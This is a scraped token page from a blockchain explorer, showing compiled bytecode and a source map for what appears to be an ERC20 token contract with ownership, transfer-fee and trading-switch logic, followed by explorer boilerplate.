15260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610462565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600060208083528351808285015260005b818110156111ba5785810183015185820160400152820161119e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461089d57600080fd5b6000806040838503121561120357600080fd5b823561120e816111db565b946020939093013593505050565b60008060006060848603121561123157600080fd5b833561123c816111db565b9250602084013561124c816111db565b929592945050506040919091013590565b803560ff8116811461126e57600080fd5b919050565b6000806040838503121561128657600080fd5b61128f8361125d565b915061129d6020840161125d565b90509250929050565b6000602082840312156112b857600080fd5b81356112c3816111db565b9392505050565b600080604083850312156112dd57600080fd5b82356112e8816111db565b915060208301356112f8816111db565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156103e0576103e0611303565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561137357600080fd5b81516112c3816111db565b60008060006060848603121561139357600080fd5b8351925060208401519150604084015190509250925092565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b808201808211156103e0576103e0611303565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561146a5784516001600160a01b031683529383019391830191600101611445565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103e0576103e0611303565b6000826114bf57634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122077bb4959c7783e75184391a91e3931b3017b059143ed481b17924c068cc19b4364736f6c63430008130033

Deployed Bytecode Sourcemap

3080:7147:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4531:83;;;;;;;;;;-1:-1:-1;4601:5:0;;;;;;;;;;;;-1:-1:-1;;;4601:5:0;;;;4531:83;;;;;;;:::i;:::-;;;;;;;;5418:186;;;;;;;;;;-1:-1:-1;5418:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5418:186:0;1023:187:1;4808:100:0;;;;;;;;;;-1:-1:-1;3171:16:0;4808:100;;;1361:25:1;;;1349:2;1334:18;4808:100:0;1215:177:1;5612:350:0;;;;;;;;;;-1:-1:-1;5612:350:0;;;;;:::i;:::-;;:::i;4717:83::-;;;;;;;;;;-1:-1:-1;4717:83:0;;3338:2;2000:36:1;;1988:2;1973:18;4717:83:0;1858:184:1;7040:187:0;;;;;;;;;;-1:-1:-1;7040:187:0;;;;;:::i;:::-;;:::i;:::-;;7336:139;;;;;;;;;;;;;:::i;4916:118::-;;;;;;;;;;-1:-1:-1;4916:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;5009:17:0;4982:7;5009:17;;;:8;:17;;;;;;;4916:118;2075:148;;;;;;;;;;;;;:::i;3669:43::-;;;;;;;;;;;;;;;;1470:79;;;;;;;;;;-1:-1:-1;1508:7:0;1535:6;1470:79;;-1:-1:-1;;;;;1535:6:0;;;2863:51:1;;2851:2;2836:18;1470:79:0;2717:203:1;4622:87:0;;;;;;;;;;-1:-1:-1;4694:7:0;;;;;;;;;;;;-1:-1:-1;;;4694:7:0;;;;4622:87;;5970:586;;;;;;;;;;;;;:::i;5042:192::-;;;;;;;;;;-1:-1:-1;5042:192:0;;;;;:::i;:::-;;:::i;3719:47::-;;;;;;;;;;;;;;;;7235:93;;;;;;;;;;-1:-1:-1;7235:93:0;;;;;:::i;:::-;;:::i;5242:168::-;;;;;;;;;;-1:-1:-1;5242:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;5375:18:0;;;5348:7;5375:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5242:168;1684:109;;;;;;;;;;-1:-1:-1;1684:109:0;;;;;:::i;:::-;;:::i;6907:125::-;;;;;;;;;;;;;:::i;5418:186::-;5518:4;5535:39;259:10;5558:7;5567:6;5535:8;:39::i;:::-;-1:-1:-1;5592:4:0;5418:186;;;;;:::o;5612:350::-;5744:4;5761:36;5771:6;5779:9;5790:6;5761:9;:36::i;:::-;-1:-1:-1;;;;;5879:19:0;;;;;;:11;:19;;;;;;;;259:10;5879:33;;;;;;;;;5808:124;;5831:6;;5879:42;;5915:6;;5879:42;:::i;:::-;5808:8;:124::i;:::-;-1:-1:-1;5950:4:0;5612:350;;;;;:::o;7040:187::-;1597:6;;-1:-1:-1;;;;;1597:6:0;259:10;1597:22;1589:67;;;;-1:-1:-1;;;1589:67:0;;;;;;;:::i;:::-;;;;;;;;;7128:2:::1;7120:4;:10;;;;:25;;;;;7143:2;7134:5;:11;;;;7120:25;7112:55;;;::::0;-1:-1:-1;;;7112:55:0;;4146:2:1;7112:55:0::1;::::0;::::1;4128:21:1::0;4185:2;4165:18;;;4158:30;-1:-1:-1;;;4204:18:1;;;4197:47;4261:18;;7112:55:0::1;3944:341:1::0;7112:55:0::1;7178:7;:14:::0;;-1:-1:-1;;;;7203:16:0;-1:-1:-1;;;7178:14:0::1;::::0;;::::1;;-1:-1:-1::0;;;;7203:16:0;;-1:-1:-1;;;7203:16:0;;;::::1;::::0;;;::::1;::::0;;;::::1;::::0;;7040:187::o;7336:139::-;1597:6;;-1:-1:-1;;;;;1597:6:0;259:10;1597:22;1589:67;;;;-1:-1:-1;;;1589:67:0;;;;;;;:::i;:::-;-1:-1:-1;;7390:11:0::1;:31:::0;;;7432:15:::1;:35:::0;7336:139::o;2075:148::-;1597:6;;-1:-1:-1;;;;;1597:6:0;259:10;1597:22;1589:67;;;;-1:-1:-1;;;1589:67:0;;;;;;;:::i;:::-;2182:1:::1;2166:6:::0;;2145:40:::1;::::0;-1:-1:-1;;;;;2166:6:0;;::::1;::::0;2145:40:::1;::::0;2182:1;;2145:40:::1;2213:1;2196:19:::0;;-1:-1:-1;;;;;;2196:19:0::1;::::0;;2075:148::o;5970:586::-;1597:6;;-1:-1:-1;;;;;1597:6:0;259:10;1597:22;1589:67;;;;-1:-1:-1;;;1589:67:0;;;;;;;:::i;:::-;6031:8:::1;::::0;-1:-1:-1;;;6031:8:0;::::1;;;6030:9;6022:38;;;::::0;-1:-1:-1;;;6022:38:0;;4492:2:1;6022:38:0::1;::::0;::::1;4474:21:1::0;4531:2;4511:18;;;4504:30;-1:-1:-1;;;4550:18:1;;;4543:46;4606:18;;6022:38:0::1;4290:340:1::0;6022:38:0::1;6107:15;-1:-1:-1::0;;;;;6107:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6195:4;::::0;6089:125:::1;::::0;-1:-1:-1;;;6089:125:0;;6171:4:::1;6089:125;::::0;::::1;5103:34:1::0;-1:-1:-1;;;;;6195:4:0;;::::1;5153:18:1::0;;;5146:43;6089:55:0;::::1;::::0;::::1;::::0;5038:18:1;;6089:125:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6073:13;:141:::0;;-1:-1:-1;;;;;;6073:141:0::1;-1:-1:-1::0;;;;;6073:141:0;;::::1;;::::0;;6247:4:::1;-1:-1:-1::0;6227:26:0;;;:11:::1;:26;::::0;;;;;;;6262:15:::1;6227:52:::0;::::1;::::0;;;;;;;;;-1:-1:-1;;6227:86:0;;6430:23;;;:8:::1;:23:::0;;;;;;;1535:6;;6326:222;;-1:-1:-1;;;6326:222:0;;::::1;::::0;::::1;5541:34:1::0;;;;5591:18;;;5584:34;;;;5634:18;;;5627:34;;;5677:18;;;5670:34;;;;1535:6:0;;;;5720:19:1;;;5713:44;6522:15:0::1;5773:19:1::0;;;5766:35;6326:222:0;:31:::1;::::0;6365:21:::1;::::0;5475:19:1;;;;;6326:222:0::1;::::0;;;;;;;;6365:21;6227:52;6326:222:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5970:586::o:0;5042:192::-;5145:4;5162:42;259:10;5186:9;5197:6;5162:9;:42::i;7235:93::-;1597:6;;-1:-1:-1;;;;;1597:6:0;259:10;1597:22;1589:67;;;;-1:-1:-1;;;1589:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7299:14:0::1;;::::0;;;:6:::1;:14;::::0;;;;:21;;-1:-1:-1;;7299:21:0::1;7316:4;7299:21;::::0;;7235:93::o;1684:109::-;1597:6;;-1:-1:-1;;;;;1597:6:0;259:10;1597:22;1589:67;;;;-1:-1:-1;;;1589:67:0;;;;;;;:::i;:::-;1757:28:::1;1776:8;1757:18;:28::i;:::-;1684:109:::0;:::o;6907:125::-;1597:6;;-1:-1:-1;;;;;1597:6:0;259:10;1597:22;1589:67;;;;-1:-1:-1;;;1589:67:0;;;;;;;:::i;:::-;6969:8:::1;::::0;-1:-1:-1;;;6969:8:0;::::1;;;6968:9;6960:38;;;::::0;-1:-1:-1;;;6960:38:0;;4492:2:1;6960:38:0::1;::::0;::::1;4474:21:1::0;4531:2;4511:18;;;4504:30;-1:-1:-1;;;4550:18:1;;;4543:46;4606:18;;6960:38:0::1;4290:340:1::0;6960:38:0::1;7009:8;:15:::0;;-1:-1:-1;;;;7009:15:0::1;-1:-1:-1::0;;;7009:15:0::1;::::0;;6907:125::o;6564:335::-;-1:-1:-1;;;;;6657:19:0;;6649:68;;;;-1:-1:-1;;;6649:68:0;;6325:2:1;6649:68:0;;;6307:21:1;6364:2;6344:18;;;6337:30;6403:34;6383:18;;;6376:62;-1:-1:-1;;;6454:18:1;;;6447:34;6498:19;;6649:68:0;6123:400:1;6649:68:0;-1:-1:-1;;;;;6736:21:0;;6728:68;;;;-1:-1:-1;;;6728:68:0;;6730:2:1;6728:68:0;;;6712:21:1;6769:2;6749:18;;;6742:30;6808:34;6788:18;;;6781:62;-1:-1:-1;;;6859:18:1;;;6852:32;6901:19;;6728:68:0;6528:398:1;6728:68:0;-1:-1:-1;;;;;6807:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6859:32;;1361:25:1;;;6859:32:0;;1334:18:1;6859:32:0;;;;;;;6564:335;;;:::o;7483:2704::-;-1:-1:-1;;;;;7571:18:0;;7563:68;;;;-1:-1:-1;;;7563:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7650:16:0;;7642:66;;;;-1:-1:-1;;;7642:66:0;;;;;;;:::i;:::-;7736:1;7727:6;:10;7719:39;;;;-1:-1:-1;;;7719:39:0;;7539:2:1;7719:39:0;;;7521:21:1;7578:2;7558:18;;;7551:30;-1:-1:-1;;;7597:18:1;;;7590:46;7653:18;;7719:39:0;7337:340:1;7719:39:0;-1:-1:-1;;;;;7799:12:0;;7771;7799;;;:6;:12;;;;;;;;7798:13;:28;;;;-1:-1:-1;;;;;;7816:10:0;;;;;;:6;:10;;;;;;;;7815:11;7798:28;7794:1842;;;7869:8;;-1:-1:-1;;;7869:8:0;;;;:16;;7881:4;7869:16;:41;;;;;7899:11;;7889:6;:21;;7869:41;7843:124;;;;-1:-1:-1;;;7843:124:0;;7884:2:1;7843:124:0;;;7866:21:1;7923:2;7903:18;;;7896:30;-1:-1:-1;;;7942:18:1;;;7935:51;8003:18;;7843:124:0;7682:345:1;7843:124:0;-1:-1:-1;;;;;7989:10:0;;;;;;:6;:10;;;;;;;;7988:11;:34;;;;-1:-1:-1;8009:13:0;;-1:-1:-1;;;;;8003:19:0;;;8009:13;;8003:19;;7988:34;7984:205;;;8098:15;;-1:-1:-1;;;;;8073:12:0;;;;;;:8;:12;;;;;;:21;;8088:6;;8073:21;:::i;:::-;:40;;8043:130;;;;-1:-1:-1;;;8043:130:0;;8364:2:1;8043:130:0;;;8346:21:1;8403:2;8383:18;;;8376:30;-1:-1:-1;;;8422:18:1;;;8415:46;8478:18;;8043:130:0;8162:340:1;8043:130:0;8217:13;;-1:-1:-1;;;;;8217:13:0;;;8209:21;;;;8205:1260;;-1:-1:-1;8258:7:0;;-1:-1:-1;;;8258:7:0;;;;7794:1842;;8205:1260;8297:13;;-1:-1:-1;;;;;8297:13:0;;;8291:19;;;;8287:1178;;8371:4;8331:20;8354:23;;;:8;:23;;;;;;3287:9;8400:17;;;;;:42;;-1:-1:-1;8421:16:0;;-1:-1:-1;;;8421:16:0;;;;:21;8400:42;8396:971;;;3232:13;8471:12;:25;8467:107;;;-1:-1:-1;3232:13:0;8467:107;3287:9;8600:12;:23;8596:679;;8652:16;:20;;-1:-1:-1;;;;8652:20:0;-1:-1:-1;;;8652:20:0;;;8723:16;;;8737:1;8723:16;;;;;;;;-1:-1:-1;;8723:16:0;;;;;;;;;;-1:-1:-1;8723:16:0;8699:40;;8784:4;8766;8771:1;8766:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8766:23:0;;;:7;;;;;;;;;:23;8826:4;;8816:7;;8826:4;;;8816;;8826;;8816:7;;;;;;:::i;:::-;-1:-1:-1;;;;;8816:14:0;;;:7;;;;;;;;;:14;8857:347;;-1:-1:-1;;;8857:347:0;;:15;:96;;;;;;:347;;8988:12;;9035:1;;9071:4;;9118;;9158:15;;8857:347;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;9231:16:0;:20;;-1:-1:-1;;;;9231:20:0;;;-1:-1:-1;;;8596:679:0;9297:50;;-1:-1:-1;;;;;9305:9:0;9297:27;;9325:21;9297:50;;;;;;;;;9325:21;9297:27;:50;;;;;;;;;;;;;;;;;;;;;8396:971;-1:-1:-1;;9392:8:0;;-1:-1:-1;;;9392:8:0;;;;7794:1842;;8287:1178;-1:-1:-1;9448:1:0;7794:1842;;;9509:9;-1:-1:-1;;;;;9501:17:0;:4;-1:-1:-1;;;;;9501:17:0;;9497:105;;-1:-1:-1;;;;;9539:12:0;;;;;;:8;:12;;;;;:22;;9555:6;;9539:12;:22;;9555:6;;9539:22;:::i;:::-;;;;-1:-1:-1;;;;;;7483:2704:0:o;9497:105::-;-1:-1:-1;9623:1:0;7794:1842;9652:9;;9648:532;;9678:17;9716:3;9699:13;9708:4;9699:6;:13;:::i;:::-;9698:21;;;;:::i;:::-;9678:41;-1:-1:-1;9734:22:0;9759:18;9678:41;9759:6;:18;:::i;:::-;-1:-1:-1;;;;;9794:14:0;;;;;;:8;:14;;;;;:24;;9734:43;;-1:-1:-1;9812:6:0;;9794:14;;;:24;;9812:6;;9794:24;:::i;:::-;;;;-1:-1:-1;;;;;;;9833:12:0;;;;;;:8;:12;;;;;:30;;9849:14;;9833:12;:30;;9849:14;;9833:30;:::i;:::-;;;;-1:-1:-1;;9895:4:0;9878:23;;;;:8;:23;;;;;:36;;9905:9;;9878:23;:36;;9905:9;;9878:36;:::i;:::-;;;;-1:-1:-1;;9934:40:0;;1361:25:1;;;9957:4:0;;-1:-1:-1;;;;;9934:40:0;;;;;1349:2:1;1334:18;9934:40:0;;;;;;;10009:2;-1:-1:-1;;;;;9994:34:0;10003:4;-1:-1:-1;;;;;9994:34:0;;10013:14;9994:34;;;;1361:25:1;;1349:2;1334:18;;1215:177;9994:34:0;;;;;;;;9663:377;;9648:532;;;-1:-1:-1;;;;;10061:14:0;;;;;;:8;:14;;;;;:24;;10079:6;;10061:14;:24;;10079:6;;10061:24;:::i;:::-;;;;-1:-1:-1;;;;;;;10100:12:0;;;;;;:8;:12;;;;;:22;;10116:6;;10100:12;:22;;10116:6;;10100:22;:::i;:::-;;;;;;;;10157:2;-1:-1:-1;;;;;10142:26:0;10151:4;-1:-1:-1;;;;;10142:26:0;;10161:6;10142:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;10142:26:0;;;;;;;;9648:532;7552:2635;7483:2704;;;:::o;1801:266::-;-1:-1:-1;;;;;1889:22:0;;1867:110;;;;-1:-1:-1;;;1867:110:0;;10353:2:1;1867:110:0;;;10335:21:1;10392:2;10372:18;;;10365:30;10431:34;10411:18;;;10404:62;-1:-1:-1;;;10482:18:1;;;10475:36;10528:19;;1867:110:0;10151:402:1;1867:110:0;2014:6;;;1993:38;;-1:-1:-1;;;;;1993:38:0;;;;2014:6;;;1993:38;;;2042:6;:17;;-1:-1:-1;;;;;;2042:17:0;-1:-1:-1;;;;;2042:17:0;;;;;;;;;;1801:266::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:156::-;2113:20;;2173:4;2162:16;;2152:27;;2142:55;;2193:1;2190;2183:12;2142:55;2047:156;;;:::o;2208:252::-;2272:6;2280;2333:2;2321:9;2312:7;2308:23;2304:32;2301:52;;;2349:1;2346;2339:12;2301:52;2372:27;2389:9;2372:27;:::i;:::-;2362:37;;2418:36;2450:2;2439:9;2435:18;2418:36;:::i;:::-;2408:46;;2208:252;;;;;:::o;2465:247::-;2524:6;2577:2;2565:9;2556:7;2552:23;2548:32;2545:52;;;2593:1;2590;2583:12;2545:52;2632:9;2619:23;2651:31;2676:5;2651:31;:::i;:::-;2701:5;2465:247;-1:-1:-1;;;2465:247:1:o;2925:388::-;2993:6;3001;3054:2;3042:9;3033:7;3029:23;3025:32;3022:52;;;3070:1;3067;3060:12;3022:52;3109:9;3096:23;3128:31;3153:5;3128:31;:::i;:::-;3178:5;-1:-1:-1;3235:2:1;3220:18;;3207:32;3248:33;3207:32;3248:33;:::i;:::-;3300:7;3290:17;;;2925:388;;;;;:::o;3318:127::-;3379:10;3374:3;3370:20;3367:1;3360:31;3410:4;3407:1;3400:15;3434:4;3431:1;3424:15;3450:128;3517:9;;;3538:11;;;3535:37;;;3552:18;;:::i;3583:356::-;3785:2;3767:21;;;3804:18;;;3797:30;3863:34;3858:2;3843:18;;3836:62;3930:2;3915:18;;3583:356::o;4635:251::-;4705:6;4758:2;4746:9;4737:7;4733:23;4729:32;4726:52;;;4774:1;4771;4764:12;4726:52;4806:9;4800:16;4825:31;4850:5;4825:31;:::i;5812:306::-;5900:6;5908;5916;5969:2;5957:9;5948:7;5944:23;5940:32;5937:52;;;5985:1;5982;5975:12;5937:52;6014:9;6008:16;5998:26;;6064:2;6053:9;6049:18;6043:25;6033:35;;6108:2;6097:9;6093:18;6087:25;6077:35;;5812:306;;;;;:::o;6931:401::-;7133:2;7115:21;;;7172:2;7152:18;;;7145:30;7211:34;7206:2;7191:18;;7184:62;-1:-1:-1;;;7277:2:1;7262:18;;7255:35;7322:3;7307:19;;6931:401::o;8032:125::-;8097:9;;;8118:10;;;8115:36;;;8131:18;;:::i;8639:127::-;8700:10;8695:3;8691:20;8688:1;8681:31;8731:4;8728:1;8721:15;8755:4;8752:1;8745:15;8771:980;9033:4;9081:3;9070:9;9066:19;9112:6;9101:9;9094:25;9138:2;9176:6;9171:2;9160:9;9156:18;9149:34;9219:3;9214:2;9203:9;9199:18;9192:31;9243:6;9278;9272:13;9309:6;9301;9294:22;9347:3;9336:9;9332:19;9325:26;;9386:2;9378:6;9374:15;9360:29;;9407:1;9417:195;9431:6;9428:1;9425:13;9417:195;;;9496:13;;-1:-1:-1;;;;;9492:39:1;9480:52;;9587:15;;;;9552:12;;;;9528:1;9446:9;9417:195;;;-1:-1:-1;;;;;;;9668:32:1;;;;9663:2;9648:18;;9641:60;-1:-1:-1;;;9732:3:1;9717:19;9710:35;9629:3;8771:980;-1:-1:-1;;;8771:980:1:o;9756:168::-;9829:9;;;9860;;9877:15;;;9871:22;;9857:37;9847:71;;9898:18;;:::i;9929:217::-;9969:1;9995;9985:132;;10039:10;10034:3;10030:20;10027:1;10020:31;10074:4;10071:1;10064:15;10102:4;10099:1;10092:15;9985:132;-1:-1:-1;10131:9:1;;9929:217::o

Swarm Source

ipfs://77bb4959c7783e75184391a91e3931b3017b059143ed481b17924c068cc19b43
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.